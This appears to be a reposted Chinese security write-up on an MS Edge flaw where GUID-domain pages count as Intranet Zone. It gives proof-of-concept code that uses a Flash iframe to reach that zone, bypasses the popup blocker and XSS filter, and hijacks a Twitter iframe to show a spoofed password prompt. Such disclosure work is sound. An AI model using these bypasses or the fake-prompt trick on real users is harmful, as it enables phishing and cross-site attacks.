通過(guò)偽造內(nèi)網(wǎng)網(wǎng)站繞過(guò)彈出窗口屏蔽、XSS過(guò)濾器以及Navigate方法
時(shí)間:2023-04-24 17:12:02 | 來(lái)源:網(wǎng)站運(yùn)營(yíng)
時(shí)間:2023-04-24 17:12:02 來(lái)源:網(wǎng)站運(yùn)營(yíng)
通過(guò)偽造內(nèi)網(wǎng)網(wǎng)站繞過(guò)彈出窗口屏蔽、XSS過(guò)濾器以及Navigate方法:原來(lái)的問(wèn)題是無(wú)域網(wǎng)頁(yè)(即具有空的document.domains的url)可以訪問(wèn)到任何文檔來(lái)源的DOM,所以微軟對(duì)他們添加一個(gè)隨機(jī)域(GUID)進(jìn)行修補(bǔ)。換句話說(shuō),無(wú)域空白網(wǎng)頁(yè)現(xiàn)在已經(jīng)不是空白的了。他們始終表現(xiàn)為{53394a4f-8c04-46ab-94af-3ab86ffcfd4c}這樣的隨機(jī)域名。
當(dāng)我測(cè)試這個(gè)補(bǔ)丁的時(shí)候,我立即發(fā)現(xiàn)這個(gè)補(bǔ)丁從根本上解決了上述問(wèn)題。我一開始的目標(biāo)是分析這個(gè)補(bǔ)丁然后嘗試?yán)@過(guò)它,但是現(xiàn)在當(dāng)我看到這個(gè)URL,它提醒了我Edge在某種程度上繼承了IE的內(nèi)部網(wǎng)絡(luò)區(qū)域。所以,我在這一方面做了做文章。
內(nèi)網(wǎng) VS 互聯(lián)網(wǎng)
你可能知道:瀏覽器對(duì)在內(nèi)網(wǎng)中運(yùn)行的網(wǎng)頁(yè)比在互聯(lián)網(wǎng)中運(yùn)行的網(wǎng)頁(yè)限制較少。而Edge是根據(jù)URL中有沒(méi)有”.”判斷內(nèi)網(wǎng)頁(yè)面與互聯(lián)網(wǎng)頁(yè)面,并且選擇相應(yīng)的判斷機(jī)制。
當(dāng)訪問(wèn)的域名沒(méi)有點(diǎn)時(shí),如
http://localhost,Edge會(huì)認(rèn)為這個(gè)頁(yè)面來(lái)自于內(nèi)網(wǎng),對(duì)這個(gè)頁(yè)面控制相對(duì)較少。當(dāng)訪問(wèn)相同的網(wǎng)站,如:http://localhost.com時(shí),Edge會(huì)認(rèn)為來(lái)自于互聯(lián)網(wǎng),對(duì)這個(gè)頁(yè)面控制比較嚴(yán)格。
Edge的判斷是URL中不存在點(diǎn),那么這個(gè)網(wǎng)站就是內(nèi)網(wǎng)網(wǎng)站,當(dāng)然,about:blank同樣被認(rèn)為是內(nèi)網(wǎng)網(wǎng)站。
因此,如果我們通過(guò)欺騙Edge讓它認(rèn)為我們的網(wǎng)站是內(nèi)網(wǎng)網(wǎng)站,那么我們就不會(huì)有那么多的安全限制。舉個(gè)例子,禁用彈出窗口攔截器,xss過(guò)濾器,甚至啟用SuperNavigate(可以引用不在域中的iframe以及windows的功能)。我們稍后會(huì)看到這個(gè)功能到底有多強(qiáng)大,但首先讓我們看看在IE內(nèi)網(wǎng)區(qū)域中有什么可能的。我知道我們正在談?wù)揈dge,但是IE有一個(gè)簡(jiǎn)單的英文簡(jiǎn)單對(duì)話框,方便用戶查看內(nèi)網(wǎng)區(qū)域中哪些安全功能被禁用。
進(jìn)入內(nèi)網(wǎng)
上面的屏幕截圖顯示了至少有三個(gè)有趣的功能,如果能夠進(jìn)入內(nèi)網(wǎng),攻擊者則可以使用它們。而事實(shí)證明,GUID使Edge認(rèn)為我們?cè)趦?nèi)網(wǎng)區(qū)域,然后允許我們繞過(guò)所有這些限制。所以根據(jù)這個(gè)漏洞,一旦我們進(jìn)入內(nèi)網(wǎng),攻擊變得非常容易,所以讓我們開始吧。
1.在頂部加載data:url。我們本地現(xiàn)在是data,但是域名和加載此數(shù)據(jù)的域名相同。所以,我們現(xiàn)在還是在內(nèi)網(wǎng)中。
2.使用document.write方法將data:url進(jìn)行輸出,這樣他會(huì)返回給我們一個(gè)URL,但是這個(gè)域名是一個(gè)隨機(jī)的GUID。所以我們已經(jīng)進(jìn)入到內(nèi)網(wǎng)中。
Edge嘗試阻止我們?cè)陧敳考虞ddata:url,不過(guò)現(xiàn)在flash可以讓我們加載它。所以我們通過(guò)flash執(zhí)行一個(gè)簡(jiǎn)單的geturl方法。請(qǐng)看下面的代碼。我們正在將一個(gè)Flash渲染在一個(gè)iframe中,F(xiàn)lash本身會(huì)通過(guò)一個(gè)data:url來(lái)更改頂部窗口的URL。
<iframe></iframe><script>window[0].location.replace('geturl.swf?TARGET=_top&REDIR=data:,'+'<script>window.onload=function(){'+' document.write("We are in a GUID URL (Intranet Zone) now");'+' document.close();'+'}</script>');</script>
而且,將Flash放在iframe中是很重要的,否則Edge會(huì)攔截。但無(wú)論如何,一旦執(zhí)行成功,我們就在內(nèi)網(wǎng)區(qū)域。所以,讓我們現(xiàn)在攻擊吧~
內(nèi)網(wǎng)中的攻擊
以下三個(gè)POC都是基于通過(guò)上方代碼進(jìn)入內(nèi)網(wǎng)區(qū)域的,然后再運(yùn)行下面的內(nèi)容。此外,payload會(huì)從外部腳本進(jìn)行加載,以便我們可以更方便的工作。我不喜歡在data:url中對(duì)大量代碼進(jìn)行編碼,因?yàn)檫@樣容易使我混淆。
我們來(lái)看看如何繞過(guò)彈窗阻止程序。請(qǐng)注意,一旦您點(diǎn)擊下面的POC鏈接,它將打開5個(gè)彈出窗口,無(wú)需您的互動(dòng)。代碼的工作原理就好像彈出窗口阻止程序不存在一樣。
for (var i=0; i<5; i++){ window.open("http://www.bing.com","","width=200,height=600");}
繞過(guò)彈窗阻止程序POC:MS Edge - popUp blocker bypass
這太棒了,現(xiàn)在我們可以沒(méi)有限制的彈出任何窗口,所以我們繞過(guò)了彈窗阻止程序。那么,關(guān)于XSS過(guò)濾器我們?cè)趺蠢@過(guò)呢?現(xiàn)在讓我在另外一個(gè)網(wǎng)站執(zhí)行XSS, caballero.com.ar:
window.open("https://www.caballero.com.ar/echo.php?xss=<script>alert(document.domain)</script>","_self");
繞過(guò)XSS過(guò)濾器POC:MS Edge - XSS Filter Bypass
提醒一下,這些POC只能在內(nèi)網(wǎng)環(huán)境中執(zhí)行。事實(shí)上,把這種方法叫做一種攻擊并不正確,因?yàn)檫@是在內(nèi)網(wǎng)中的默認(rèn)行為。我們做的只是將我們的工作環(huán)境轉(zhuǎn)移到域里面,以便減少限制。這就是這個(gè)漏洞的原理,現(xiàn)在讓我們?cè)俣嘟榻B一種:SuperNavigate。你知道他是干什么的嗎?他允許攻擊者更改來(lái)自任意域的任意窗口以及iframe的url。
也許你現(xiàn)在有點(diǎn)困惑?,F(xiàn)在我通過(guò)舉個(gè)例子來(lái)解釋一下:他允許攻擊者更改在不同選項(xiàng)卡中運(yùn)行的twitter中iframe的url。換句話說(shuō),我們不需要打開twitter那個(gè)選項(xiàng)卡。如果用戶已經(jīng)打開了twitter,我們實(shí)際上就可以和他一起進(jìn)入內(nèi)網(wǎng)區(qū)域?,F(xiàn)在我們更改一個(gè)來(lái)自twitter命名為”twitter-iframe”的iframe的url。想看一看它怎么樣工作的?
首先,讓我們看一下這個(gè)iframe的代碼:
win = window.open("https://www.twitter.com");function wait_for_tweet_post_iframe(){ // Wait until the twitter iframe exists if (win["tweet-post-iframe"]) { //Change the location of the twitter-iframe. This fires the prompt window.open("twitter_pass.html", "tweet-post-iframe"); clearInterval(interval); }}// Keep running until the twitter-iframe becomes availableinterval = setInterval(wait_for_tweet_post_iframe, 500);
在twitter網(wǎng)頁(yè)上繞過(guò)SuperNavigate的POC:MS Edge - SuperNavigate Bypass多么有趣呀,最后一件事情,也許你注意到Twitter的提示似乎真的來(lái)自一個(gè)Twitter域名。您知道,當(dāng)提示處于打開狀態(tài)時(shí),它始終顯示啟動(dòng)它的URL的域,就像這樣:
但是,可以使用一個(gè)非常簡(jiǎn)單的方法來(lái)去掉這個(gè)提示,也就是說(shuō),可以通過(guò)about:blank來(lái)發(fā)出這樣一個(gè)提示。換句話說(shuō),它重置了這個(gè)域名的提示。
我知道這沒(méi)什么大不了,但是會(huì)使這個(gè)彈框更像真正twitter發(fā)出的。
如果你想進(jìn)一步了解,或者你想在本地復(fù)現(xiàn),我已經(jīng)將所有POC打包,下載地址為:
https://goo.gl/ryYMIm(墻內(nèi):鏈接:
https://pan.baidu.com/s/1nvbQxNr 密碼: x6k8)
本文參考來(lái)源于brokenbrowser,如若轉(zhuǎn)載,請(qǐng)注明來(lái)源于嘶吼: 通過(guò)偽造內(nèi)網(wǎng)網(wǎng)站繞過(guò)彈出窗口屏蔽、XSS過(guò)濾器以及Navigate方法 更多內(nèi)容請(qǐng)關(guān)注“嘶吼專業(yè)版”——Pro4hou
關(guān)鍵詞:過(guò)濾,方法,屏蔽,通過(guò),窗口,偽造